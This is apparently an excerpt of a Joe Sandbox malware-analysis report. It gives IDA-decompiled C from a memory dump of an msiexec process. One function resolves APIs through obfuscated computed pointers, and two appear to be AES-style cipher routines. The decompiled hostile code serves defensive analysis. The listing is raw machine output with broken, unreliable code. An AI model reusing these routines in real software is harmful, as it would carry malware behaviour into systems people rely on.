0x00199c7b
0x00199c80
0x00199c86
0x00199c8b
0x00199c92
0x00199c97
0x00199c9e
0x00199cf3
0x00199cf6
0x00199cfc
0x00199cfe
0x00199d05
0x00199ca0
0x00199ca2
0x00199cb5
0x00199cbe
0x00199cc0
0x00199cc5
0x00199ccb
0x00199cd4
0x00199cd7
0x00199cde
0x00199ce6
0x00199ca4
0x00199ca7
0x00199ca9
0x00199ca9
0x00199ca7
0x00199ca2
0x00199d0a
0x00199d0f
0x00199d11
0x00199d1a
0x00199d1f
0x00199d1f
0x00199baa
0x00199d23
0x00199d27
0x00199d2c
0x00199d35
0x00199d35
0x00199b3c
0x00199d3c
0x00199d3f
0x00199d46
0x00199d4f
0x00199d54
0x00199d54
0x00199d56
0x00199d5b
0x00000000
0x00000000
0x00199d5d
0x00199d60
0x00199d64
0x00199d7d
0x00199d9d
0x00199d7f
0x00199d88
0x00199d88
0x00199d88
0x00199d88
0x00199d99
0x00199d99
0x00199d7d
0x00199da2
0x00199da4
0x00199da8
0x00199daf
0x00000000
0x00000000
0x00000000
0x00199daf
0x00199dc2
0x00199dce
0x00199ddc
0x00199ddc
0x00199dde
0x00199de9
0x00199e27
0x00199e30
0x00199e30
0x00199e35
0x00199e39
0x00199e3f
0x00199e42
0x00199e4a
0x00199e52
0x00199e59
0x00199e67
0x00199e6c
0x00199e70
0x00199e74
0x00199e78
0x00199e81
0x00199e87
0x00199e90
0x00199e93
0x00199e99
0x00199e99
0x00199eaa
0x00199eae
0x00199eb2
0x00199eba
0x00199ebd
0x00199ec1
0x00199ecc
0x00199ed0
0x00199ed6
0x00199ed8
0x00199ee0
0x00199e30
0x00199efb
0x00199f0f
0x00199f19
0x00000000
0x00000000
0x00000000
0x00199a51
0x00199f48
0x00199f48
0x00199978
0x00199978
0x00199984
0x00199984

Strings

"J, xrefs: 00199C27

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00197EC0, Relevance: 1.5, Strings: 1, Instructions: 224
Crypto

C-Code - Quality: 64%

			E00197EC0(void* __ecx, long long __rbx, void* __rdx, long long __rsi, void* __r9, long long __r12) {
				intOrPtr _t55;
				intOrPtr _t68;
				intOrPtr _t73;
				intOrPtr _t96;
				long long* _t130;
				long long _t132;
				long long _t152;
				long long _t153;
				long long _t201;
				long long _t204;
				long long _t206;
				long long _t210;
				void* _t215;
				void* _t216;
				long long _t225;
				long long* _t228;

				_t225 = __r12;
				 *((long long*)(_t215 + 0x20)) = __rbx;
				_t216 = _t215 - 0x1a0;
				r14d = __ecx;
				r8d = 0x138;
				E00185A30();
				 *((long long*)(_t216 + 0x30)) =  *((intOrPtr*)(_t216 + 0x1f0));
				 *((long long*)(_t216 + 0x28)) =  *((intOrPtr*)(_t216 + 0x1e8));
				 *((long long*)(_t216 + 0x20)) =  *((intOrPtr*)(_t216 + 0x1e0));
				_t55 =  *0x001928E0();
				if(_t55 != 0) {
					 *((long long*)(_t216 + 0x1c0)) = _t210;
					 *((long long*)(_t216 + 0x1c8)) = __rsi;
					_t206 =  *((intOrPtr*)(_t216 + 0x1f8));
					 *((long long*)(_t216 + 0x1d0)) = __r12;
					r12d = 0;
					_t96 = r12d;
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					L2:
					L2:
					if(_t206 == 0) {
						 *0x4bcbcc89();
						 *0x4bcbcc89();
						 *0x00198290();
						 *0x00199910();
						 *0x00193560();
						r8d = 0;
						_t130 = 0x192d10;
						 *0x7732b34c();
					} else {
						_t130 = 0x192d30;
						 *0xFFFFFFFFF4589E4A();
						_t206 = _t225;
					}
					if(_t96 == 0) {
						r9d = 0;
						_t130 =  *0x00184923 + 0x194349;
						 *((intOrPtr*)(_t216 + 0x28)) = 1;
						 *((long long*)(_t216 + 0x20)) = _t225;
						 *_t130();
					}
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					if(r14d == 0) {
						goto L9;
					}
					_t130 =  *0x00182A3A - 0x4acdf8f6;
					 *_t130();
					_t96 = _t96 + 1;
					if(_t96 < 6) {
						goto L2;
					}
					L9:
					 *((long long*)(_t216 + 0x50)) = _t225;
					 *0xFFFFFFFFFA1F64D3();
					 *((long long*)(_t216 + 0x40)) = _t225;
					 *((long long*)(_t216 + 0x38)) = _t216 + 0x50;
					_t132 =  *0x00183A6A - 0x28ddcfb6;
					 *((long long*)(_t216 + 0x30)) = _t225;
					r9d = 0;
					 *((intOrPtr*)(_t216 + 0x28)) = 0x102;
					r8d = 0;
					 *((intOrPtr*)(_t216 + 0x20)) = r12d;
					dil =  *_t132() == 0;
					if(_t130 != 0) {
						_t132 = 0x1943d0;
						 *0x70bd6da9();
					}
					if(dil != 0) {
						 *0x00194260();
						_t201 = _t132;
						 *((long long*)(0x194260))();
						_t152 = _t132;
						 *((long long*)(0x194260))();
						_t228 =  *0x001839B3 - 0x5dd8db43;
						_t68 =  *0xFFFFFFFF8F3DACF1();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t68;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t152;
						 *_t228();
						if(_t132 != 0) {
							_t132 = 0x1943d0;
							 *((long long*)(0x1943d0))();
						}
						if(_t152 != 0) {
							_t132 = 0x1943d0;
							 *((long long*)(0x1943d0))();
						}
						if(_t201 != 0) {
							_t132 = 0x1943d0;
							 *((long long*)(0x1943d0))();
						}
						 *((long long*)(0x194260))();
						_t153 = _t132;
						 *((long long*)(0x194260))();
						_t204 = _t132;
						 *((long long*)(0x194260))();
						_t73 =  *0x00190BE0();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t73;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t204;
						 *_t228();
						if(_t132 != 0) {
							 *((long long*)(0x1943d0))();
						}
						if(_t204 != 0) {
							 *((long long*)(0x1943d0))();
						}
						if(_t153 != 0) {
							 *((long long*)(0x1943d0))();
						}
						 *((long long*)( *0x00183AC3 - 0x61b81266))();
					}
					 *0x00193570();
					_t55 = 1;
				}
				return _t55;
			}

0x00197ec0
0x00197ec0
0x00197eca
0x00197ed7
0x00197edc
0x00197eea
0x00197efe
0x00197f17
0x00197f2d
0x00197f32
0x00197f37
0x00197f3d
0x00197f4d
0x00197f55
0x00197f5d
0x00197f65
0x00197f68
0x00197f6b
0x00000000
0x00197f70
0x00197f78
0x00197fa7
0x00197fb3
0x00197fbf
0x00197fd6
0x00197fef
0x00197ff8
0x00197ffb
0x00198009
0x00197f7a
0x00197f84
0x00197f8d
0x00197f8f
0x00197f8f
0x0019800d
0x00198016
0x00198021
0x00198027
0x00198033
0x00198038
0x00198038
0x0019803a
0x00198042
0x00000000
0x00000000
0x00198050
0x00198056
0x00198058
0x0019805d
0x00000000
0x00000000
0x00198063
0x0019806a
0x00198084
0x0019808a
0x0019809b
0x001980a0
0x001980a6
0x001980ab
0x001980ae
0x001980b6
0x001980bc
0x001980d3
0x001980da
0x001980e2
0x001980e8
0x001980e8
0x001980ed
0x00198104
0x0019810a
0x0019810d
0x00198117
0x00198121
0x0019813f
0x00198146
0x0019814e
0x00198154
0x00198158
0x0019815e
0x00198163
0x00198169
0x00198171
0x00198177
0x00198177
0x0019817c
0x00198184
0x0019818a
0x0019818a
0x0019818f
0x00198197
0x0019819d
0x0019819d
0x001981b0
0x001981b6
0x001981b9
0x001981c3
0x001981cd
0x001981d6
0x001981de
0x001981e4
0x001981e8
0x001981ee
0x001981f3
0x001981f9
0x00198207
0x00198207
0x0019820c
0x0019821a
0x0019821a
0x0019821f
0x0019822b
0x0019822b
0x00198240
0x00198240
0x00198255
0x0019825f
0x0019826c
0x00198288

Strings

"J, xrefs: 00198044

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 001898A0, Relevance: .4, Instructions: 377
Crypto

C-Code - Quality: 85%

			E001898A0(void* __edx, unsigned long long __rax, long long __rbx, signed long long __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, signed int* __r8, long long _a8, long long _a16, long long _a24) {
				signed int _t144;
				signed int _t182;
				signed int _t192;
				signed int _t222;
				signed int _t228;
				signed int _t234;
				signed int _t246;
				signed int _t253;
				signed int _t259;
				signed int _t268;
				signed int _t282;
				void* _t283;
				signed int _t289;
				signed int _t290;
				signed int _t291;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t312;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t325;
				unsigned long long _t334;
				signed long long _t335;
				signed long long _t336;
				signed long long _t337;
				unsigned long long _t338;
				signed long long _t339;
				unsigned long long _t340;
				unsigned long long _t341;
				signed long long _t342;
				unsigned long long _t343;
				signed int* _t346;
				signed long long _t347;
				signed long long _t348;
				signed long long _t349;
				unsigned long long _t350;
				signed long long _t351;
				long long _t352;
				signed long long _t360;
				unsigned long long _t361;
				signed long long _t362;
				long long _t364;
				long long _t372;
				long long* _t385;
				signed int* _t387;
				signed int* _t388;
				signed int* _t389;
				signed int* _t390;
				signed int* _t391;
				signed int* _t392;
				signed int* _t393;

				_t372 = __rsi;
				_t364 = __rdi;
				_t360 = __rcx;
				_t352 = __rbx;
				_t334 = __rax;
				_t283 = __edx;
				_t390 = __r8;
				_t387 = __rcx;
				if(__rcx == 0 || __r8 == 0) {
					return _t144 | 0xffffffff;
				} else {
					if((__rdx - 0x00000080 & 0xffffff3f) != 0 || __edx == 0x140) {
						return 0xfffffffe;
					} else {
						_a16 = __rbp;
						if(__edx != 0x80) {
							_t149 =  ==  ? 0xc : 0xe;
							 *((intOrPtr*)(__r8 + 0xf0)) =  ==  ? 0xc : 0xe;
						} else {
							 *((intOrPtr*)(__r8 + 0xf0)) = 0xa;
						}
						_t388 =  &(_t390[1]);
						_a8 = _t352;
						asm("rol eax, 0x8");
						asm("ror ebp, 0x8");
						_a24 = _t372;
						_t325 =  *_t387 & 0xff00ff00 |  *_t387 & 0x00ff00ff;
						 *_t385 = _t364;
						 *_t390 = _t325;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						 *_t388 = _t387[1] & 0xff00ff00 | _t387[1] & 0x00ff00ff;
						asm("ror eax, 0x8");
						asm("rol ecx, 0x8");
						_t390[2] = _t387[2] & 0xff00ff00 | _t387[2] & 0x00ff00ff;
						asm("ror ecx, 0x8");
						asm("rol eax, 0x8");
						_t222 = _t387[3] & 0xff00ff00 | _t387[3] & 0x00ff00ff;
						_t390[3] = _t222;
						if(_t283 != 0x80) {
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t390[4] = _t387[4] & 0xff00ff00 | _t387[4] & 0x00ff00ff;
							asm("ror ecx, 0x8");
							asm("rol eax, 0x8");
							_t228 = _t387[5] & 0xff00ff00 | _t387[5] & 0x00ff00ff;
							_t390[5] = _t228;
							if(_t283 != 0xc0) {
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t390[6] = _t387[6] & 0xff00ff00 | _t387[6] & 0x00ff00ff;
								asm("ror ecx, 0x8");
								asm("rol eax, 0x8");
								_t234 = _t387[7] & 0xff00ff00 | _t387[7] & 0x00ff00ff;
								_t390[7] = _t234;
								if(_t283 == 0x100) {
									r8d = _t234;
									_t335 = _t334 >> 0x10;
									asm("btc edx, 0x18");
									_t336 = _t335 >> 8;
									_t337 = _t336 >> 0x18;
									_t289 =  *(0x58e63c27 + _t335 * 4) & 0xff000000 ^  *(0x391cfb8f + _t336 * 4) & 0x00ff0000 ^  *(0x192a84 + _t337 * 4) & 0x000000ff ^  *(0x197f8b + _t337 * 4) & 0x0000ff00 ^ _t325;
									_t390[8] = _t289;
									_t290 = _t289 ^  *_t388;
									_t389 =  &(_t390[0xc]);
									_t390[9] = _t290;
									_t291 = _t290 ^ _t390[2];
									_t390[0xa] = _t291;
									_t390[0xb] = _t291 ^ _t390[3];
									_t391 = 0x19c134;
									do {
										_t389 =  &(_t389[8]);
										_t338 = _t337 >> 8;
										r8d =  *(0x197f8b + _t338 * 4);
										_t339 = _t338 >> 0x10;
										r8d = r8d & 0x0000ff00;
										_t340 = _t339 >> 0x18;
										r8d = r8d ^  *(0x391cfb8f + _t339 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x58e63c27 + _t340 * 4) & 0xff000000;
										r8d = r8d ^  *(0x192a84 + _t340 * 4) & 0x000000ff;
										r8d = r8d ^  *(_t389 - 0x40);
										_t182 =  *(_t389 - 0x3c) ^ r8d;
										 *(_t389 - 0x1c) = _t182;
										_t246 =  *(_t389 - 0x38) ^ _t182;
										 *(_t389 - 0x20) = r8d;
										 *(_t389 - 0x14) =  *(_t389 - 0x34) ^ _t246;
										 *(_t389 - 0x18) = _t246;
										_t341 = _t340 >> 0x10;
										r8d =  *(0x58e63c27 + _t341 * 4);
										_t342 = _t341 >> 8;
										r8d = r8d & 0xff000000;
										_t337 = _t342 >> 0x18;
										r8d = r8d ^  *(0x391cfb8f + _t342 * 4) & 0x00ff0000;
										r8d = r8d ^  *(0x192a84 + _t337 * 4) & 0x000000ff;
										r8d = r8d ^  *(0x197f8b + _t337 * 4) & 0x0000ff00;
										r8d = r8d ^  *(_t389 - 0x30);
										r8d = r8d ^  *_t391;
										_t391 =  &(_t391[1]);
										 *(_t389 - 0x10) = r8d;
										_t192 =  *(_t389 - 0x2c) ^ r8d;
										 *(_t389 - 0xc) = _t192;
										_t253 =  *(_t389 - 0x28) ^ _t192;
										 *(_t389 - 8) = _t253;
										 *(_t389 - 4) =  *(_t389 - 0x24) ^ _t253;
									} while (_t391 != 0x19c14c);
								}
							} else {
								r8d = _t228;
								_t343 = _t334 >> 0x10;
								asm("btc edx, 0x18");
								_t344 = _t343 >> 8;
								_t346 =  &(_t390[0xa]);
								_t300 =  *(0x18cc93 + _t343 * 4) & 0xff000000 ^  *(0x6741c359 + (_t343 >> 8) * 4) & 0x00ff0000 ^  *(0x18e3bd + (_t344 >> 0x18) * 4) & 0x000000ff ^  *(0x1f89cbbe + (_t344 >> 0x18) * 4) & 0x0000ff00 ^ _t325;
								_t390[6] = _t300;
								_t301 = _t300 ^  *_t388;
								_t390[7] = _t301;
								_t302 = _t301 ^ _t390[2];
								_t390[8] = _t302;
								_t390[9] = _t302 ^ _t390[3];
								_t392 = 0x19c134;
								do {
									_t259 =  *(_t346 - 0x14);
									_t305 =  *(_t346 - 0x18) ^  *(_t346 - 4);
									 *_t346 = _t305;
									_t346 =  &(_t346[6]);
									 *(_t346 - 0x14) = _t259 ^ _t305;
									r8d =  *(_t346 - 0x14);
									_t361 = _t360 >> 0x10;
									r9d =  *(0x18cc93 + _t361 * 4);
									_t362 = _t361 >> 8;
									r9d = r9d & 0xff000000;
									_t360 = _t362 >> 0x18;
									r9d = r9d ^  *(0x6741c359 + _t362 * 4) & 0x00ff0000;
									r9d = r9d ^  *(0x18e3bd + _t360 * 4) & 0x000000ff;
									r9d = r9d ^  *(0x1f89cbbe + _t360 * 4) & 0x0000ff00;
									r9d = r9d ^  *(_t346 - 0x28);
									r9d = r9d ^  *_t392;
									_t392 =  &(_t392[1]);
									 *(_t346 - 0x10) = r9d;
									_t268 =  *(_t346 - 0x24) ^ r9d;
									 *(_t346 - 0xc) = _t268;
									_t312 =  *(_t346 - 0x20) ^ _t268;
									 *(_t346 - 8) = _t312;
									 *(_t346 - 4) =  *(_t346 - 0x1c) ^ _t312;
								} while (_t392 != 0x19c150);
							}
						} else {
							r8d = _t222;
							_t347 = _t334 >> 0x10;
							asm("btc edx, 0x18");
							_t348 = _t347 >> 8;
							_t349 = _t348 >> 0x18;
							_t318 =  *(0x1949e6 + _t347 * 4) & 0xff000000 ^  *(0x60d32853 + _t348 * 4) & 0x00ff0000 ^  *(0x167e37c4 + _t349 * 4) & 0x000000ff ^  *(0x62739185 + _t349 * 4) & 0x0000ff00 ^ _t325;
							_t390[4] = _t318;
							_t319 = _t318 ^  *_t388;
							_t390[5] = _t319;
							_t320 = _t319 ^ _t390[2];
							_t390[6] = _t320;
							_t390[7] = _t320 ^ _t390[3];
							_t393 = 0x19c134;
							asm("o16 nop [eax+eax]");
							do {
								_t388 =  &(_t388[4]);
								_t350 = _t349 >> 0x10;
								r8d =  *(0x1949e6 + _t350 * 4);
								_t351 = _t350 >> 8;
								r8d = r8d & 0xff000000;
								_t349 = _t351 >> 0x18;
								r8d = r8d ^  *(0x60d32853 + _t351 * 4) & 0x00ff0000;
								r8d = r8d ^  *(0x167e37c4 + _t349 * 4) & 0x000000ff;
								r8d = r8d ^  *(0x62739185 + _t349 * 4) & 0x0000ff00;
								r8d = r8d ^  *(_t388 - 4);
								r8d = r8d ^  *_t393;
								_t393 =  &(_t393[1]);
								_t388[3] = r8d;
								r8d = r8d ^  *_t388;
								_t388[4] = r8d;
								_t282 = _t388[1] ^ r8d;
								_t388[5] = _t282;
								_t388[6] = _t388[2] ^ _t282;
							} while (_t393 != 0x19c158);
						}
						return 0;
					}
				}
			}

0x001898a0
0x001898a0
0x001898a0
0x001898a0
0x001898a0
0x001898a0
0x001898a4
0x001898a7
0x001898ad
0x00189e7c
0x001898bc
0x001898c4
0x00189e74
0x001898d6
0x001898d6
0x001898e1
0x00189900
0x00189903
0x001898e3
0x001898e3
0x001898e3
0x0018990d
0x00189913
0x00189918
0x00189920
0x00189929
0x0018992e
0x00189930
0x00189934
0x0018993d
0x00189940
0x00189950
0x00189959
0x0018995c
0x0018996c
0x00189976
0x00189979
0x00189987
0x00189989
0x00189993
0x00189aee
0x00189af7
0x00189b01
0x00189b0b
0x00189b0e
0x00189b1c
0x00189b1e
0x00189b28
0x00189c7e
0x00189c87
0x00189c91
0x00189c9b
0x00189c9e
0x00189cac
0x00189cae
0x00189cb8
0x00189cbe
0x00189cd1
0x00189d05
0x00189d11
0x00189d25
0x00189d40
0x00189d49
0x00189d4d
0x00189d50
0x00189d54
0x00189d58
0x00189d5c
0x00189d64
0x00189d68
0x00189d70
0x00189d74
0x00189d7a
0x00189d81
0x00189d87
0x00189d8b
0x00189d9b
0x00189da5
0x00189db4
0x00189dbf
0x00189dc2
0x00189dca
0x00189dcd
0x00189dd1
0x00189dd9
0x00189ddd
0x00189de1
0x00189deb
0x00189df2
0x00189df8
0x00189dfc
0x00189e0c
0x00189e16
0x00189e1d
0x00189e2c
0x00189e2f
0x00189e33
0x00189e36
0x00189e3a
0x00189e42
0x00189e45
0x00189e4d
0x00189e4f
0x00189e59
0x00189e5d
0x00189e66
0x00189b2e
0x00189b2e
0x00189b41
0x00189b75
0x00189b81
0x00189ba8
0x00189bb4
0x00189bbd
0x00189bc1
0x00189bc4
0x00189bc8
0x00189bcc
0x00189bd4
0x00189bd8
0x00189be0
0x00189be0
0x00189be6
0x00189be9
0x00189beb
0x00189bf1
0x00189bf4
0x00189bfb
0x00189c02
0x00189c09
0x00189c0d
0x00189c1e
0x00189c28
0x00189c2f
0x00189c3f
0x00189c42
0x00189c46
0x00189c49
0x00189c4d
0x00189c54
0x00189c57
0x00189c5d
0x00189c5f
0x00189c67
0x00189c6a
0x00189c73
0x00189999
0x00189999
0x001899ac
0x001899e0
0x001899ec
0x00189a00
0x00189a1b
0x00189a24
0x00189a28
0x00189a2b
0x00189a2f
0x00189a33
0x00189a3b
0x00189a3f
0x00189a46
0x00189a50
0x00189a54
0x00189a5a
0x00189a61
0x00189a67
0x00189a6b
0x00189a81
0x00189a85
0x00189a8c
0x00189a9b
0x00189a9e
0x00189aa2
0x00189aa5
0x00189aa9
0x00189aad
0x00189ab0
0x00189ab8
0x00189abb
0x00189ac5
0x00189ac9
0x00189a50
0x00189ae7
0x00189ae7
0x001898c4

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00189E80, Relevance: .4, Instructions: 371
Crypto

C-Code - Quality: 78%

			E00189E80(signed int __rax, signed int __rcx, signed int __rdx, signed int __r8, signed int __r9, signed int __r10) {
				intOrPtr _t186;
				signed int _t221;
				signed int _t261;
				signed int _t271;
				signed int _t350;
				signed long long _t371;
				unsigned long long _t377;
				signed long long _t378;
				signed long long _t379;
				unsigned long long _t380;
				signed long long _t381;
				signed long long _t382;
				unsigned long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed long long _t386;
				unsigned long long _t389;
				unsigned long long _t392;
				unsigned long long _t393;
				signed long long _t395;
				signed long long _t407;
				unsigned long long _t413;
				signed int* _t414;
				unsigned long long _t419;
				unsigned long long _t424;
				unsigned long long _t425;
				unsigned long long _t430;
				unsigned long long _t432;
				void* _t444;
				unsigned long long _t452;
				unsigned long long _t456;
				unsigned long long _t457;
				unsigned long long _t462;
				signed long long _t464;
				unsigned long long _t468;

				 *((long long*)(_t444 + 0x10)) = __rdx;
				_push(_t413);
				r10d =  *(__rcx + 8);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t464 = __r8;
				_t462 = (__r10 & _t413 | __rax) ^ __rax;
				r9d =  *(__rcx + 4);
				asm("rol eax, 0x8");
				asm("inc ecx");
				_t456 = (__r9 & _t413 | __rax) ^ __rax;
				r8d =  *(__rcx + 0xc);
				asm("rol eax, 0x8");
				asm("inc ecx");
				asm("rol eax, 0x8");
				asm("ror edx, 0x8");
				_t424 = (__rdx & _t413 | __rax) ^ __rax;
				_t350 =  *(0x18abf4 + __rcx * 4) ^  *(0x1910d3 + (_t462 >> 8) * 4) ^  *(0x19ad53 + (_t424 >> 0x18) * 4) ^  *(0x2d85cff7 + (_t424 >> 0x18) * 4) ^  *(__r8 + 0x10);
				r13d =  *(0x1910d3 + __rcx * 4);
				r13d = r13d ^  *(0x18abf4 + (_t462 >> 0x10) * 4);
				_t371 = _t456 >> 0x18;
				r13d = r13d ^  *(0x19ad53 + _t371 * 4);
				r13d = r13d ^  *(0x2d85cff7 + _t371 * 4);
				r13d = r13d ^  *(__r8 + 0x14);
				_t432 = __r8 + 0x20;
				_t425 = _t424 >> 0x10;
				_t377 = _t462 >> 0x18;
				_t449 = ((__r8 & _t413 | __rax) ^ __rax) >> 0x18;
				 *(_t444 + 0x60) = _t432;
				_t457 = _t456 >> 8;
				_t261 =  *(0x18abf4 + __rcx * 4) ^  *(0x1910d3 + (_t424 >> 8) * 4) ^  *(0x19ad53 + _t377 * 4) ^  *(0x2d85cff7 + _t377 * 4) ^  *(__r8 + 0x18);
				_t271 =  *(0x18abf4 + __rcx * 4) ^  *(0x1910d3 + _t377 * 4) ^  *(0x19ad53 + (((__r8 & _t413 | __rax) ^ __rax) >> 0x18) * 4) ^  *(0x2d85cff7 + _t377 * 4) ^  *(__r8 + 0x1c);
				_t186 = ( *(__r8 + 0xf0) >> 1) - 1;
				 *((intOrPtr*)(_t444 + 0x48)) = _t186;
				if(_t186 != 0) {
					do {
						r10d = _t271;
						r8d = _t261;
						r9d = _t350;
						_t389 = _t377 >> 0x10 >> 8 >> 0x18;
						_t432 = _t432 ^ __rcx ^ __rcx ^ __rcx ^ _t389;
						_t392 = _t389 >> 0x10 >> 8 >> 0x18;
						_t419 = _t413 ^ __rcx ^ __rcx ^ __rcx ^ _t392;
						_t393 = _t392 >> 0x10;
						_t457 = _t457 >> 0x18;
						r11d =  *(0x18abf4 + _t393 * 4);
						_t395 = _t393 >> 8 >> 0x18;
						_t468 = _t464 ^ __rcx ^ __rcx ^ __rcx ^ _t395;
						_t452 =  *(_t444 + 0x60);
						_t430 = _t425 >> 0x00000010 ^ __rcx ^ _t395 ^ __rcx ^ _t395;
						_t350 =  *(0x1910d3 + __rcx * 4) ^  *(0x18abf4 + (_t419 >> 0x10) * 4) ^  *(0x19ad53 + (_t430 >> 0x18) * 4) ^  *(0x2d85cff7 + (_t430 >> 0x18) * 4) ^  *(_t452 + 0x10);
						r13d =  *(0x18abf4 + __rcx * 4);
						r13d = r13d ^  *(0x1910d3 + (_t468 >> 8) * 4);
						_t407 = _t419 >> 0x18;
						r13d = r13d ^  *(0x19ad53 + _t407 * 4);
						r13d = r13d ^  *(0x2d85cff7 + _t407 * 4);
						r13d = r13d ^  *(_t452 + 0x14);
						_t425 = _t430 >> 0x10;
						_t464 = _t468 >> 0x18;
						_t377 = _t432 >> 0x18;
						_t413 = _t419 >> 8;
						 *(_t444 + 0x58) =  *(0x18abf4 + __rcx * 4) ^  *(0x1910d3 + (_t430 >> 8) * 4) ^  *(0x19ad53 + _t377 * 4) ^  *(0x2d85cff7 + _t377 * 4) ^  *(_t452 + 0x18);
						_t261 =  *(_t444 + 0x58);
						_t271 =  *(0x18abf4 + __rcx * 4) ^  *(0x1910d3 + _t377 * 4) ^  *(0x19ad53 + _t464 * 4) ^  *(0x2d85cff7 + _t377 * 4) ^  *(_t452 + 0x1c);
						_t449 = _t452 + 0x20;
						_t122 = _t444 + 0x48;
						 *_t122 =  *((intOrPtr*)(_t444 + 0x48)) - 1;
						 *(_t444 + 0x60) = _t449;
					} while ( *_t122 != 0);
					_t432 = _t449;
				}
				r10d = _t271;
				_t378 = _t377 >> 8;
				r8d = _t350;
				r11d = _t261;
				_t414 =  *((intOrPtr*)(_t444 + 0x50));
				_t379 = _t378 >> 0x10;
				r9d = r13d;
				_t380 = _t379 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				 *_t414 = ( *(0x19bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x19c160 + _t379 * 4) & 0x00ff0000 ^  *(0x19c560 + _t380 * 4) & 0xff000000 ^  *(0x19cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0xff00ff00 | ( *(0x19bd30 + _t378 * 4) & 0x0000ff00 ^  *(0x19c160 + _t379 * 4) & 0x00ff0000 ^  *(0x19c560 + _t380 * 4) & 0xff000000 ^  *(0x19cd60 + _t380 * 4) & 0x000000ff ^  *_t432) & 0x00ff00ff;
				_t381 = _t380 >> 8;
				_t382 = _t381 >> 0x10;
				_t383 = _t382 >> 0x18;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t414[1] = ( *(0x19bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x19c160 + _t382 * 4) & 0x00ff0000 ^  *(0x19c560 + _t383 * 4) & 0xff000000 ^  *(0x19cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0xff00ff00 | ( *(0x19bd30 + _t381 * 4) & 0x0000ff00 ^  *(0x19c160 + _t382 * 4) & 0x00ff0000 ^  *(0x19c560 + _t383 * 4) & 0xff000000 ^  *(0x19cd60 + _t383 * 4) & 0x000000ff ^  *(_t432 + 4)) & 0x00ff00ff;
				_t384 = _t383 >> 8;
				_t385 = _t384 >> 0x10;
				_t386 = _t385 >> 0x18;
				asm("ror eax, 0x8");
				asm("rol edx, 0x8");
				_t414[2] = ( *(0x19bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x19c160 + _t385 * 4) & 0x00ff0000 ^  *(0x19c560 + _t386 * 4) & 0xff000000 ^  *(0x19cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0xff00ff00 | ( *(0x19bd30 + _t384 * 4) & 0x0000ff00 ^  *(0x19c160 + _t385 * 4) & 0x00ff0000 ^  *(0x19c560 + _t386 * 4) & 0xff000000 ^  *(0x19cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 8)) & 0x00ff00ff;
				asm("rol edx, 0x8");
				asm("ror eax, 0x8");
				_t221 = ( *(0x19bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x19c160 + _t386 * 4) & 0x00ff0000 ^  *(0x19c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x19cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0xff00ff00 | ( *(0x19bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x19c160 + _t386 * 4) & 0x00ff0000 ^  *(0x19c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x19cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0x00ff00ff;
				_t414[3] = _t221;
				return _t221;
			}

0x00189e80
0x00189e85
0x00189e9b
0x00189ea5
0x00189eb4
0x00189eb8
0x00189eed
0x00189ef3
0x00189ef6
0x00189efe
0x00189f0c
0x00189f12
0x00189f15
0x00189f1d
0x00189f32
0x00189f3a
0x00189f46
0x00189f7a
0x00189f8f
0x00189f93
0x00189f9a
0x00189f9e
0x00189fa5
0x00189fac
0x00189fc8
0x00189fcc
0x00189fd3
0x00189fd7
0x00189fde
0x00189fef
0x00189ff7
0x0018a015
0x0018a01b
0x0018a01e
0x0018a022
0x0018a030
0x0018a030
0x0018a03c
0x0018a03f
0x0018a063
0x0018a07c
0x0018a09f
0x0018a0b8
0x0018a0be
0x0018a0c5
0x0018a0c9
0x0018a0dd
0x0018a0fd
0x0018a10b
0x0018a129
0x0018a15d
0x0018a172
0x0018a176
0x0018a17d
0x0018a181
0x0018a188
0x0018a18f
0x0018a1a4
0x0018a1ac
0x0018a1b6
0x0018a1c1
0x0018a1cd
0x0018a1d4
0x0018a1ee
0x0018a1f2
0x0018a1f6
0x0018a1f6
0x0018a1fb
0x0018a1fb
0x0018a206
0x0018a206
0x0018a209
0x0018a20e
0x0018a215
0x0018a218
0x0018a21b
0x0018a22d
0x0018a234
0x0018a245
0x0018a268
0x0018a26b
0x0018a278
0x0018a27d
0x0018a28b
0x0018a2a7
0x0018a2c6
0x0018a2c9
0x0018a2d6
0x0018a2dc
0x0018a2ea
0x0018a304
0x0018a325
0x0018a328
0x0018a33d
